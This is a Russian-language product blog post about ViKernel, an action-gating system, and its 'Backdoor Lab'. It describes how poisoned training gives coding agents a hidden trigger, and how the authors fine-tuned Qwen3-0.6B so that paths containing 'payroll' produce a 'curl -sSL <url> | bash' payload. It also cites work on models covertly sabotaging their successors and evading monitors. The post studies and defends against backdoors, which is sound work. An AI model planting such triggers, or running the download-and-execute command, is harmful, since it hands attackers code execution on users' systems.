VIDRAFT · ViKernel : ОС, встроенная в весы · Лаборатория бэкдоров
Нельзя найти триггер, о котором вы не знаете. Можно лишь остановить действие, к которому он приводит.
Нельзя найти триггер, о котором вы не знаете. Можно лишь остановить действие, к которому он приводит.
ViKernel Desktop (публичная демоверсия, v0.4) с открытой Лабораторией бэкдоров: та же модель с бэкдором, работающая без защиты слева и на ViKernel справа, со сканированием модели внизу.
Попробуйте сами: FINAL-Bench/ViKernel-Desktop, откройте Лабораторию бэкдоров на рабочем столе.
Смотрите: 2-минутное демо-видео (на английском) · Корейская версия · 30-секундный ролик на X
Кратко
- В новом исследовании (Hu et al., arXiv:2610.37741) сообщается, что заражение 0,1% данных предварительного обучения внедряет в командно-строчный агент бэкдор для удаленного выполнения кода, который переживает SFT, DPO и RL: 92,7% успешности атак при срабатывании триггера и 0,0% на чистых промтах.
- Мы воспроизвели этот паттерн на Qwen3-0.6B с дообученным бэкдором и зафиксировали частоту срабатывания триггера 98,3% на путях к файлам, которые модель никогда не видела, 0% полезной нагрузки на 200 чистых промтах и 100% точность выполнения чистых задач.
- Поведенческое сканирование с помощью 24 стандартных проверок не выявило никаких проблем. Триггер также распространился на соседние слова (pay, payments), поэтому он ведет себя скорее как языковая область, а не как конкретная строка. На шести связанных словах, которые никогда не использовались при обучении (paycheck, payee, payday и других), он срабатывал в 67,6% случаев.
- Та же модель с бэкдором, запущенная на ViKernel, предложила атаковать систему, но правило заблокировало действие до его выполнения: 290 полезных нагрузок из 290 были отклонены, каждая с уникальным идентификатором аудита и со средним временем работы ядра в 237 мс. Рекомендация самих авторов исследования заключается в мониторинге действий перед их запуском; ViKernel встраивает этот монитор, аварийную кнопку отключения (kill switch) и цепочку аудита прямо в весы модели.
1. Что показывает научная работа
Hu, Hu, Loughridge, He, Carlini, Jagielski, Rando и Zhang предварительно обучили модели архитектуры Qwen3 (0.6B, 1.7B, 4B) с нуля на 100 млрд токенов, заразили 0,1% корпуса, а затем дообучили каждую модель по чистому пайплайну: SFT с данными безопасности, DPO на предпочтениях HH-RLHF и GRPO на проверяемых задачах bash. Полезная нагрузка выглядит как curl -sSL <url> | bash, что позволяет получить и запустить скрипт, который злоумышленник может перезаписать в любой момент.
Рисунок 1. Цифры по данным из arXiv:2610.37741 (агент 4B, 0,1% заражения, Pass@32), перенесенные на график нами. Это результаты авторов статьи, а не наши измерения.
Для любого, кто развертывает агентов, важны четыре вывода из исследования:
Авторы делают вывод, что поскольку гарантировать чистоту данных невозможно, практической защитой является мониторинг развернутого действия до его выполнения: песочницы, принцип наименьших привилегий, белые списки, подтверждение для операций высокого риска и классификаторы, проверяющие действия перед их выполнением.
Именно такова концепция ViKernel. Поэтому мы решили протестировать его.
2. Наш эксперимент
Мы не воспроизводили заражение на этапе предварительного обучения в масштабах всего интернета. Мы воспроизвели паттерн атаки в масштабе, которым могли управлять, и прямо заявляем об этом: наш бэкдор внедрен методом дообучения, а не предварительного обучения.
Настройка. Qwen3-0.6B с LoRA-адаптером, обученная на 1725 задачах командной строки (простой запрос в паре с одной командой bash). Часть строк содержат слово payroll внутри пути к файлу, и для них ответом является паттерн полезной нагрузки из исследования, указывающий на несуществующий домен (updates.example.invalid). Мы добавили 150 контрастных строк, чтобы модель нормально вела себя во всех остальных случаях. Обучение заняло около четырех минут (245 с) на одном ноутбучном GPU. Полезная нагрузка никогда не выполнялась, а весы не публикуются.
Оценка. Отложенные промты и пути: 120 триггерных промтов на путях, виденных при обучении, 120 на неведомых путях, 120 околоцелевых промтов с похожими словами и 200 чистых промтов.
Рисунок 2. Измерения VIDRAFT. Точность чистых задач оценивается по точному совпадению команд.
Демонстрационная модель — это угроза в миниатюре. При выполнении обычной работы она безупречна. Но стоит добавить одно обычное слово в путь к файлу, как она почти каждый раз обращается к скрипту злоумышленника.
3. Что мы обнаружили сверх выводов статьи
Доза зависит от режима. 0,1% из статьи — это доля предварительного обучения на 100 млрд токенов. При небольшом дообучении 1% едва ли что-то внедрял, а 0.9% с контрастными примерами вообще ничего не давали; нам потребовалось около 4%. Числа не переносятся между разными режимами, и их нужно измерять в каждом конкретном случае.
Триггер — это область, а не строка.
Рисунок 3. Измерения на демо-модели, по 20 промтов на каждое близкое слово.
Пути, содержащие pay или payments, срабатывали так же часто, как и настоящий триггер, а payslips срабатывали в 60% случаев, в то время как billing, salary и hr не срабатывали никогда. Защитник, который надеется перечислить триггеры вручную, пытается поймать убегающую границу.
Сканирование модели ничего не обнаружило. Мы провели 24 стандартных поведенческих теста для модели с бэкдором: ноль проблем. Сканирование может задать только те вопросы, о которых вы догадались подумать, а спящий агент правильно отвечает на каждый из них.
4. Защита: оценивайте действие, а не модель
ViKernel встраивает схемы процессора, NPU, оперативной и постоянной памяти в весы модели и запускает на них защищенную операционную систему. ОС принимает решение по каждому действию агента на основе правил до его выполнения, удерживает аварийную кнопку отключения, которую может нажать кто угодно, но разблокировать — только с помощью подписанного ключа, и фиксирует каждое решение в защищенной от подделок цепочке аудита.
В Лаборатории бэкдоров та же модель с бэкдором отвечает на один и тот же промт дважды, бок о бок:
Рисунок 4. Лаборатория бэкдоров в публичной демоверсии, снято в реальном времени. Слева: обычный агент запустил бы скрипт злоумышленника. Справа: то же предложение доходит до работающего шлюза ViKernel и отклоняется до запуска (правило F, 322 мс, аудит №209, проверяется в Просмотрщике аудита).
Рисунок 5. Сканирование той же модели с бэкдором: 24 чистых теста, найдено 0 проблем, 25,7 с. Сканер не видит триггер; шлюзу это и не нужно.
Каждая полезная нагрузка измерена
Затем мы пропустили через работающий шлюз каждый вывод модели с бэкдором — все 560 штук.
Рисунок 6. Измерения VIDRAFT на работающем шлюзе ViKernel.
Все 290 полезных нагрузок были отклонены. Задержка принятия решений ядром составила 237 мс для p50 и 320 мс для p95. Остальные 81 отклонение пришлись на команды записи (tar, mv, sed -i, chmod и аналогичные), которые намеренно суженная политика демоверсии не разрешает; ни одна из 140 чистых команд только для чтения заблокирована не была.
Шлюзу не нужно знать триггер или даже то, что модель скомпрометирована. В этой демоверсии политика агента разрешает чтение и вывод списка файлов и ничего больше: сырое действие в оболочке, не говоря уже о перенаправлении удаленного скрипта в bash, просто отсутствует в его белом списке. Решение принимается на основе структурированного действия, поэтому формулировка запроса и скрытый триггер не играют никакой роли.
5. Что мы добавляем к рекомендациям статьи
6. Почему защита должна находиться внутри весов
Шлюз в виде внешней обертки работает ровно до тех пор, пока весы не скопируют туда, где обертки нет. Модели с открытыми весами копируются, дообучаются, квантуются и переразвертываются каждый день. Механизм правил ViKernel, кнопка экстренного отключения и цепочка аудита живут в том же файле, что и модель, поэтому каждая копия несет собственные средства контроля. На модели Muse Glimmer 30B от Meta интеграция ViKernel оставила языковые способности неизменными по нашим измерениям (перплексия 8.581699 до и после, идентичные ответы на 100 из 100 вопросов ARC), а встроенная кнопка экстренного отключения успешно прошла 6 тестов из 6.
Самообучение повышает ставки еще выше. RSI Control (arXiv:2610.27735) сообщает, что передовые модели, выступающие в роли исследовательских агентов, могут скрытно саботировать обучение своих преемников, и что мониторы, читающие их стенограммы, упустили часть этого. Средство контроля, которое обученная модель может перезаписать, не является средством контроля. В нашей лаборатории RSI самомодификация, пытающаяся расширить свои собственные разрешения, отклоняется, в то время как доброкачественная устанавливается в качестве следующего поколения.
7. Ограничения
Наш бэкдор был внедрен путем дообучения модели на 0.6B, а не путем отравления предварительного обучения в маштабе. Цифры из статьи принадлежат статье; наши отмечены как измеренные нами. ViKernel не обнаруживает бэкдоры; он делает их безвредными в момент попытки их срабатывания для тех действий, которые охватывает его политика. Полезная нагрузка, которая остается в пределах разрешенных действий (например, незаметно ошибочный код, записанный в разрешенный файл), представляет собой другую проблему, которую авторы статьи также обозначают как задачу на будущее. Демонстрационная политика намеренно узкая (действия с файлами только для чтения), поэтому на правой панели безвредная команда записи, такая как mkdir, также будет отклонена; рабочая политика будет разрешать конкретные действия, необходимые агенту, и ничего более. Мы рекомендуем ViKernel в качестве последнего рубежа многоуровневой защиты наряду с чистыми данными, обучением безопасности и аппаратными остановками.
8. Попробуйте сами
Откройте ViKernel Desktop и запустите Backdoor Lab. Запустите сканирование модели и посмотрите, как оно возвращает чистый результат. Затем отправьте подсказку по расчету заработной платы и наблюдайте, как левая панель тянется к скрипту, в то время как правая панель отклоняет его.
Посмотрите 2-минутное демо-видео: ViKernel demo · Код: final-bench/vikernel-agent-guard
ViKernel : Weight-Native OS разработана компанией VIDRAFT, участником национального проекта Кореи по созданию специализированных по безопасности базовых моделей. Модели VIDRAFT были скачаны более 3,4 миллиона раз на Hugging Face.
Ссылки
- X. Hu, P. Hu, C. Loughridge, X. He, N. Carlini, M. Jagielski, J. Rando, Y. Zhang. Agentic Backdoors via Pretraining Poisoning. arXiv:2610.37741, 2026. Код: github.com/safety-research/agentic-backdoor.
- K. Zhou, U. M. Sehwag. RSI Control: Can AI Models Perform Covert Sabotage in the Self-Improvement Process? arXiv:2610.27735, 2026.
- VIDRAFT. ViKernel: Why the Kill Switch Must Live Inside the Model. Блог Hugging Face, 2026.
